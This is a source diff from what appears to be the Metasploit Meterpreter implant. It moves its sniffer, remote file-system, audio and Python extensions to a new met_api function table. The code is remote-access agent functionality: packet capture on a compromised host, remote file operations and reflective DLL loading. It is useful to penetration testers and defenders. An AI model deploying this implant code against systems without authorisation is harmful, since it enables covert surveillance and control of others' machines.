@ -80,7 +80,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
python_prepare_session();
dprintf("[PYTHON] Registering commands");
command_register_all(customCommands);
met_api->command.register_all(customCommands);
return ERROR_SUCCESS;
}
@ -92,7 +92,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
command_deregister_all(customCommands);
met_api->command.deregister_all(customCommands);
python_destroy_session();

View File

@ -2,7 +2,8 @@
* @file python_meterpreter_binding.c
* @brief Definitions for functions that support meterpreter bindings.
*/
#include "../../common/common.h"
#include "common.h"
#include "common_metapi.h"
#include "python_main.h"
#include "Python.h"
@ -31,7 +32,7 @@ static PyObject* binding_invoke(PyObject* self, PyObject* args)
// and so that the packet doesn't get sent to Meterpreter
packet.local = isLocal;
command_handle(gRemote, &packet);
met_api->command.handle(gRemote, &packet);
// really not sure how to deal with the non-local responses at this point.
if (packet.partner == NULL)
@ -41,7 +42,7 @@ static PyObject* binding_invoke(PyObject* self, PyObject* args)
}
PyObject* result = PyString_FromStringAndSize(packet.partner->payload, packet.partner->payloadLength);
packet_destroy(packet.partner);
met_api->packet.destroy(packet.partner);
return result;
}
@ -62,7 +63,7 @@ VOID binding_startup()
{
if (gBoundCommandList == NULL)
{
gBoundCommandList = list_create();
gBoundCommandList = met_api->list.create();
}
}
@ -73,7 +74,7 @@ VOID binding_add_command(const char* commandName)
// only add non-core commands
if (_strnicmp("core_", commandName, 5) != 0)
{
list_add(gBoundCommandList, (char*)commandName);
met_api->list.add(gBoundCommandList, (char*)commandName);
binding_insert_command(commandName);
}
}

View File

@ -5,7 +5,6 @@
#include "sniffer.h"
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
#include "../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h"
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h"

View File

@ -6,6 +6,10 @@
#define _CRT_SECURE_NO_DEPRECATE 1
#include "precomp.h"
#include "common_metapi.h"
// Required so that use of the API works.
MetApi* met_api = NULL;
DWORD request_sniffer_interfaces(Remote *remote, Packet *packet);
DWORD request_sniffer_capture_start(Remote *remote, Packet *packet);
@ -33,13 +37,7 @@ Command customCommands[] =
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
#define check_pssdk(); if(!hMgr && pktsdk_initialize()!=0){packet_transmit_response(hErr, remote, response);return(hErr);}
#define check_pssdk(); if(!hMgr && pktsdk_initialize()!=0){ met_api->packet.transmit_response(hErr, remote, response);return(hErr); }
HANDLE hMgr;
DWORD hErr;
@ -114,7 +112,7 @@ DWORD pktsdk_initialize(void);
DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
Tlv entries[8];
/*
@ -185,13 +183,13 @@ DWORD request_sniffer_interfaces(Remote *remote, Packet *packet)
entries[7].header.length = sizeof(BOOL);
entries[7].buffer = (PUCHAR)&adhcp;
packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8);
met_api->packet.add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8);
idx++;
} while ((hCfg = MgrGetNextAdapterCfg(hMgr, hCfg)) != NULL);
packet_transmit_response(result, remote, response);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
@ -272,7 +270,7 @@ void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacke
// -- PKS, per job locking would be finer grained.
// however, it probably doesn't matter.
lock_acquire(snifferm);
met_api->lock.acquire(snifferm);
if (j->idx_pkts >= j->max_pkts) j->idx_pkts = 0;
j->cur_pkts++;
@ -289,12 +287,12 @@ void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacke
j->pkts[j->idx_pkts] = pkt;
j->idx_pkts++;
lock_release(snifferm);
met_api->lock.release(snifferm);
}
DWORD request_sniffer_capture_start(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
unsigned int ifid;
unsigned int maxp;
CaptureJob *j;
@ -304,8 +302,8 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet)
check_pssdk();
dprintf("sniffer>> start_capture()");
ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
maxp = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_PACKET_COUNT);
ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
maxp = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_PACKET_COUNT);
maxp = min(maxp, SNIFFER_MAX_QUEUE);
maxp = max(maxp, 1);
@ -370,13 +368,13 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet)
AdpSetMacFilter(j->adp, mfAll);
} while (0);
packet_transmit_response(result, remote, response);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
unsigned int ifid;
CaptureJob *j;
DWORD result;
@ -384,7 +382,7 @@ DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet)
check_pssdk();
dprintf("sniffer>> stop_capture()");
ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
dprintf("sniffer>> stop_capture(0x%.8x)", ifid);
result = ERROR_SUCCESS;
@ -407,28 +405,28 @@ DWORD request_sniffer_capture_stop(Remote *remote, Packet *packet)
break;
}
lock_acquire(snifferm);
met_api->lock.acquire(snifferm);
j->active = 0;
AdpSetMacFilter(j->adp, 0);
AdpCloseAdapter(j->adp);
AdpDestroy(j->adp);
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes);
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes);
lock_release(snifferm);
met_api->lock.release(snifferm);
dprintf("sniffer>> stop_capture() interface %d processed %d packets/%d bytes", j->intf, j->cur_pkts, j->cur_bytes);
} while (0);
packet_transmit_response(result, remote, response);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
DWORD request_sniffer_capture_release(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
unsigned int ifid, i;
CaptureJob *j;
DWORD result;
@ -437,7 +435,7 @@ DWORD request_sniffer_capture_release(Remote *remote, Packet *packet)
check_pssdk();
dprintf("sniffer>> release_capture()");
ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
dprintf("sniffer>> release_capture(0x%.8x)", ifid);
result = ERROR_SUCCESS;
@ -461,10 +459,10 @@ DWORD request_sniffer_capture_release(Remote *remote, Packet *packet)
break;
}
lock_acquire(snifferm);
met_api->lock.acquire(snifferm);
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes);
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes);
dprintf("sniffer>> release_capture() interface %d released %d packets/%d bytes", j->intf, j->cur_pkts, j->cur_bytes);
for (i = 0; i < j->max_pkts; i++)
@ -478,18 +476,18 @@ DWORD request_sniffer_capture_release(Remote *remote, Packet *packet)
free(j->pkts);
memset(j, 0, sizeof(CaptureJob));
lock_release(snifferm);
met_api->lock.release(snifferm);
} while (0);
packet_transmit_response(result, remote, response);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
unsigned int ifid;
CaptureJob *j;
DWORD result;
@ -497,7 +495,7 @@ DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet)
check_pssdk();
dprintf("sniffer>> capture_stats()");
ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
dprintf("sniffer>> capture_stats(0x%.8x)", ifid);
result = ERROR_SUCCESS;
@ -520,19 +518,19 @@ DWORD request_sniffer_capture_stats(Remote *remote, Packet *packet)
break;
}
lock_acquire(snifferm);
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes);
lock_release(snifferm);
met_api->lock.acquire(snifferm);
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, j->cur_pkts);
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, (unsigned int)j->cur_bytes);
met_api->lock.release(snifferm);
} while (0);
packet_transmit_response(result, remote, response);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
unsigned int ifid, i;
unsigned int bcnt;
CaptureJob *j;
@ -541,8 +539,8 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet)
check_pssdk();
dprintf("sniffer>> capture_dump_read()");
ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
bcnt = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_BYTE_COUNT);
ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
bcnt = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_BYTE_COUNT);
bcnt = min(bcnt, 32 * 1024 * 1024);
dprintf("sniffer>> capture_dump_read(0x%.8x, %d)", ifid, bcnt);
@ -554,7 +552,7 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet)
// the interface is invalid
if (ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES)
{
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0);
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0);
goto fail;
}
@ -562,7 +560,7 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet)
if (!j->dbuf)
{
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0);
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0);
goto fail;
}
@ -571,8 +569,8 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet)
bcnt = j->dlen - j->didx;
}
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, bcnt);
packet_add_tlv_raw(response, TLV_TYPE_SNIFFER_PACKET, (unsigned char *)j->dbuf + j->didx, bcnt);
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, bcnt);
met_api->packet.add_tlv_raw(response, TLV_TYPE_SNIFFER_PACKET, (unsigned char *)j->dbuf + j->didx, bcnt);
j->didx += bcnt;
} while (0);
@ -587,7 +585,7 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet)
if (j->active == 0)
{
dprintf("sniffer>> capture_dump_read, release CaptureJob");
lock_acquire(snifferm);
met_api->lock.acquire(snifferm);
for (i = 0; i < j->max_pkts; i++)
{
if (!j->pkts[i]) break;
@ -597,19 +595,19 @@ DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet)
free(j->pkts);
memset(j, 0, sizeof(CaptureJob));
lock_release(snifferm);
met_api->lock.release(snifferm);
}
}
fail:
packet_transmit_response(result, remote, response);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
unsigned int ifid;
unsigned int rbuf, mbuf;
unsigned int *tmp;
@ -624,12 +622,12 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet)
check_pssdk();
dprintf("sniffer>> capture_dump()");
ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
ifid = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
dprintf("sniffer>> capture_dump(0x%.8x)", ifid);
result = ERROR_SUCCESS;
lock_acquire(snifferm);
met_api->lock.acquire(snifferm);
do
{
@ -719,10 +717,10 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet)
j->dlen = rcnt;
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, pcnt);
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, rcnt);
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, pcnt);
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, rcnt);
// add capture datalink, needed when saving capture file, use TLV_TYPE_SNIFFER_INTERFACE_ID not to create a new TLV type
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_INTERFACE_ID, j->capture_linktype);
met_api->packet.add_tlv_uint(response, TLV_TYPE_SNIFFER_INTERFACE_ID, j->capture_linktype);
dprintf("sniffer>> finished processing packets");
@ -731,24 +729,23 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet)
j->idx_pkts = 0;
} while (0);
lock_release(snifferm);
packet_transmit_response(result, remote, response);
met_api->lock.release(snifferm);
met_api->packet.transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
/*!
* @brief Initialize the server extension.
* @param api Pointer to the Meterpreter API structure.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
{
// This handle has to be set before calls to command_register
// otherwise we get obscure crashes!
hMetSrv = remote->met_srv;
met_api = api;
dprintf("[SERVER] Registering command handlers...");
command_register_all( customCommands );
met_api->command.register_all(customCommands);
dprintf("[SERVER] Memory reset of open_captures...");
memset(open_captures, 0, sizeof(open_captures));
@ -781,7 +778,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
}
dprintf("[SERVER] Creating a lock...");
snifferm = lock_create();
snifferm = met_api->lock.create();
return hErr;
}
@ -793,9 +790,10 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
command_register_all( customCommands );
met_api->command.deregister_all(customCommands);
MgrDestroy(hMgr);
lock_destroy(snifferm);
met_api->lock.destroy(snifferm);
return ERROR_SUCCESS;
}

View File

@ -1,4 +1,5 @@
#include "precomp.h"
#include "common_metapi.h"
#include <sys/stat.h>
@ -15,34 +16,41 @@ typedef struct
/*
* Writes the supplied data to the audio buffer
*/
static DWORD audio_channel_write(Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize,
LPDWORD bytesWritten)
static DWORD audio_channel_write(Channel* channel, Packet* request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten)
{
AudioContext *ctx = (AudioContext *)context;
AudioContext* ctx = (AudioContext*)context;
DWORD result = ERROR_SUCCESS;
size_t written = 0;
// Write to the buffer
if (bufferSize) {
if (bufferSize)
{
char* newbuffer = 0;
if (ctx->buffer) {
if (ctx->buffer)
{
newbuffer = realloc(ctx->buffer, ctx->offset + bufferSize);
} else {
}
else
{
newbuffer = malloc(bufferSize);
}
if (newbuffer) {
if (newbuffer)
{
memcpy(newbuffer + ctx->offset, buffer, bufferSize);
ctx->buffer = newbuffer;
ctx->offset += bufferSize;
written = bufferSize;
} else {
}
else
{
result = ERROR_NOT_ENOUGH_MEMORY;
}
}
if (bytesWritten) {
if (bytesWritten)
{
*bytesWritten = (DWORD)written;
}
@ -52,18 +60,19 @@ static DWORD audio_channel_write(Channel *channel, Packet *request,
/*
* Play the audio on channel close
*/
static DWORD audio_channel_close(Channel *channel, Packet *request,
LPVOID context)
static DWORD audio_channel_close(Channel *channel, Packet *request, LPVOID context)
{
AudioContext *ctx = (AudioContext *)context;
// Play the audio buffer
sndPlaySound(ctx->buffer, SND_MEMORY);
if (ctx->buffer) {
if (ctx->buffer)
{
free(ctx->buffer);
ctx->buffer = 0;
}
free(ctx);
return ERROR_SUCCESS;
@ -83,16 +92,17 @@ DWORD request_audio_output_channel_open(Remote *remote, Packet *packet)
Channel *newChannel = NULL;
// Allocate a response
response = packet_create_response(packet);
response = met_api->packet.create_response(packet);
// Allocate storage for the audio buffer context
if (!(ctx = calloc(1, sizeof(AudioContext)))) {
if (!(ctx = calloc(1, sizeof(AudioContext))))
{
res = ERROR_NOT_ENOUGH_MEMORY;
goto out;
}
// Get the channel flags
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
flags = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
memset(&chops, 0, sizeof(chops));
@ -103,22 +113,25 @@ DWORD request_audio_output_channel_open(Remote *remote, Packet *packet)
// Check the response allocation & allocate a un-connected
// channel
if ((!response) || (!(newChannel = channel_create_pool(0, flags, &chops)))) {
if ((!response) || (!(newChannel = met_api->channel.create_pool(0, flags, &chops))))
{
res = ERROR_NOT_ENOUGH_MEMORY;
goto out;
}
// Add the channel identifier to the response
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel));
out:
// Transmit the packet if it's valid
packet_transmit_response(res, remote, response);
met_api->packet.transmit_response(res, remote, response);
// Clean up on failure
if (res != ERROR_SUCCESS) {
if (newChannel) {
channel_destroy(newChannel, NULL);
if (res != ERROR_SUCCESS)
{
if (newChannel)
{
met_api->channel.destroy(newChannel, NULL);
}
}

View File

@ -1,4 +1,5 @@
#include "precomp.h"
#include "common_metapi.h"
#include "fs_local.h"
@ -10,13 +11,13 @@ void request_fs_ls_cb(void *arg, char *name, char *short_name, char *path)
/*
* Add the file name, full path and stat information
*/
packet_add_tlv_string(response, TLV_TYPE_FILE_NAME, name);
packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, path);
met_api->packet.add_tlv_string(response, TLV_TYPE_FILE_NAME, name);
met_api->packet.add_tlv_string(response, TLV_TYPE_FILE_PATH, path);
if (short_name) {
packet_add_tlv_string(response, TLV_TYPE_FILE_SHORT_NAME, short_name);
met_api->packet.add_tlv_string(response, TLV_TYPE_FILE_SHORT_NAME, short_name);
}
if (fs_stat(path, &s) >= 0) {
packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &s, sizeof(s));
met_api->packet.add_tlv_raw(response, TLV_TYPE_STAT_BUF, &s, sizeof(s));
}
}
@ -28,8 +29,8 @@ void request_fs_ls_cb(void *arg, char *name, char *short_name, char *path)
*/
DWORD request_fs_ls(Remote * remote, Packet * packet)
{
Packet *response = packet_create_response(packet);
LPCSTR directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);
Packet *response = met_api->packet.create_response(packet);
LPCSTR directory = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);
DWORD result;
if (!directory) {
@ -38,7 +39,7 @@ DWORD request_fs_ls(Remote * remote, Packet * packet)
result = fs_ls(directory, request_fs_ls_cb, response);
}
return packet_transmit_response(result, remote, response);
return met_api->packet.transmit_response(result, remote, response);
}
/*
@ -49,17 +50,17 @@ DWORD request_fs_ls(Remote * remote, Packet * packet)
*/
DWORD request_fs_getwd(Remote * remote, Packet * packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
char *directory = NULL;
DWORD result;
result = fs_getwd(&directory);
if (directory != NULL) {
packet_add_tlv_string(response, TLV_TYPE_DIRECTORY_PATH, directory);
met_api->packet.add_tlv_string(response, TLV_TYPE_DIRECTORY_PATH, directory);
free(directory);
}
return packet_transmit_response(result, remote, response);
return met_api->packet.transmit_response(result, remote, response);
}
/*
@ -70,10 +71,10 @@ DWORD request_fs_getwd(Remote * remote, Packet * packet)
*/
DWORD request_fs_chdir(Remote * remote, Packet * packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
char *directory;
DWORD result;
directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);
directory = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);
if (directory == NULL) {
result = ERROR_INVALID_PARAMETER;
@ -81,7 +82,7 @@ DWORD request_fs_chdir(Remote * remote, Packet * packet)
result = fs_chdir(directory);
}
return packet_transmit_response(result, remote, response);
return met_api->packet.transmit_response(result, remote, response);
}
/*
@ -91,10 +92,10 @@ DWORD request_fs_chdir(Remote * remote, Packet * packet)
*/
DWORD request_fs_mkdir(Remote * remote, Packet * packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
char *directory;
DWORD result;
directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);
directory = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);
if (directory == NULL) {
result = ERROR_INVALID_PARAMETER;
@ -102,7 +103,7 @@ DWORD request_fs_mkdir(Remote * remote, Packet * packet)
result = fs_mkdir(directory);
}
return packet_transmit_response(result, remote, response);
return met_api->packet.transmit_response(result, remote, response);
}
/*
@ -112,10 +113,10 @@ DWORD request_fs_mkdir(Remote * remote, Packet * packet)
*/
DWORD request_fs_delete_dir(Remote * remote, Packet * packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
char *directory;
DWORD result;
directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);
directory = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);
if (directory == NULL) {
result = ERROR_INVALID_PARAMETER;
@ -123,5 +124,5 @@ DWORD request_fs_delete_dir(Remote * remote, Packet * packet)
result = fs_delete_dir(directory);
}
return packet_transmit_response(result, remote, response);
return met_api->packet.transmit_response(result, remote, response);
}

View File

@ -1,5 +1,6 @@
#include "precomp.h"
#include "fs_local.h"
#include "common_metapi.h"
#include <sys/stat.h>
@ -137,10 +138,10 @@ DWORD request_fs_file_channel_open(Remote *remote, Packet *packet)
LPSTR expandedFilePath = NULL;
// Allocate a response
response = packet_create_response(packet);
response = met_api->packet.create_response(packet);
// Get the channel flags
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
flags = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
// Allocate storage for the file context
if (!(ctx = calloc(1, sizeof(FileContext)))) {
@ -149,8 +150,8 @@ DWORD request_fs_file_channel_open(Remote *remote, Packet *packet)
}
// Get the file path and the mode
filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
mode = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_MODE);
filePath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
mode = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_MODE);
if (mode == NULL) {
mode = "rb";
@ -174,22 +175,22 @@ DWORD request_fs_file_channel_open(Remote *remote, Packet *packet)
// Check the response allocation & allocate a un-connected
// channel
if ((!response) || (!(newChannel = channel_create_pool(0, flags, &chops)))) {
if ((!response) || (!(newChannel = met_api->channel.create_pool(0, flags, &chops)))) {
res = ERROR_NOT_ENOUGH_MEMORY;
goto out;
}
// Add the channel identifier to the response
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel));
out:
// Transmit the packet if it's valid
packet_transmit_response(res, remote, response);
met_api->packet.transmit_response(res, remote, response);
// Clean up on failure
if (res != ERROR_SUCCESS) {
if (newChannel) {
channel_destroy(newChannel, NULL);
met_api->channel.destroy(newChannel, NULL);
}
free(ctx);
}
@ -202,11 +203,11 @@ out:
*/
DWORD request_fs_separator(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
packet_add_tlv_string(response, TLV_TYPE_STRING, FS_SEPARATOR);
met_api->packet.add_tlv_string(response, TLV_TYPE_STRING, FS_SEPARATOR);
return packet_transmit_response(ERROR_SUCCESS, remote, response);
return met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
}
@ -218,13 +219,13 @@ DWORD request_fs_separator(Remote *remote, Packet *packet)
*/
DWORD request_fs_stat(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
struct meterp_stat buf;
char *filePath;
char *expanded = NULL;
DWORD result = ERROR_SUCCESS;
filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
filePath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
if (!filePath) {
result = ERROR_INVALID_PARAMETER;
@ -239,13 +240,13 @@ DWORD request_fs_stat(Remote *remote, Packet *packet)
result = fs_stat(expanded, &buf);
if (0 == result) {
packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf));
met_api->packet.add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf));
}
free(expanded);
out:
return packet_transmit_response(result, remote, response);
return met_api->packet.transmit_response(result, remote, response);
}
/*
@ -255,11 +256,11 @@ out:
*/
DWORD request_fs_delete_file(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
char *path;
DWORD result = ERROR_SUCCESS;
path = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
path = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
if (!path) {
result = ERROR_INVALID_PARAMETER;
@ -267,7 +268,7 @@ DWORD request_fs_delete_file(Remote *remote, Packet *packet)
result = fs_delete_file(path);
}
return packet_transmit_response(result, remote, response);
return met_api->packet.transmit_response(result, remote, response);
}
/*
@ -277,12 +278,12 @@ DWORD request_fs_delete_file(Remote *remote, Packet *packet)
*/
DWORD request_fs_file_expand_path(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
DWORD result = ERROR_SUCCESS;
char *expanded = NULL;
char *regular;
regular = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
regular = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
if (regular == NULL) {
result = ERROR_INVALID_PARAMETER;
goto out;
@ -295,15 +296,15 @@ DWORD request_fs_file_expand_path(Remote *remote, Packet *packet)
goto out;
}
packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, expanded);
met_api->packet.add_tlv_string(response, TLV_TYPE_FILE_PATH, expanded);
free(expanded);
out:
return packet_transmit_response(result, remote, response);
return met_api->packet.transmit_response(result, remote, response);
}
DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
char *filePath;
DWORD result = ERROR_SUCCESS;
HCRYPTPROV cryptProv = 0;
@ -313,7 +314,7 @@ DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType)
size_t ret;
unsigned char buff[16384];
filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
filePath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
do
{
@ -376,7 +377,7 @@ DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType)
dprintf("[FILE HASH] Successfully generated hash");
packet_add_tlv_raw(response, TLV_TYPE_FILE_HASH, buff, hashSize);
met_api->packet.add_tlv_raw(response, TLV_TYPE_FILE_HASH, buff, hashSize);
} while (0);
@ -395,7 +396,7 @@ DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType)
fclose(fd);
}
return packet_transmit_response(result, remote, response);}
return met_api->packet.transmit_response(result, remote, response);}
/*
@ -426,13 +427,13 @@ DWORD request_fs_sha1(Remote *remote, Packet *packet)
*/
DWORD request_fs_file_move(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
DWORD result = ERROR_SUCCESS;
char *oldpath;
char *newpath;
oldpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_NAME);
newpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
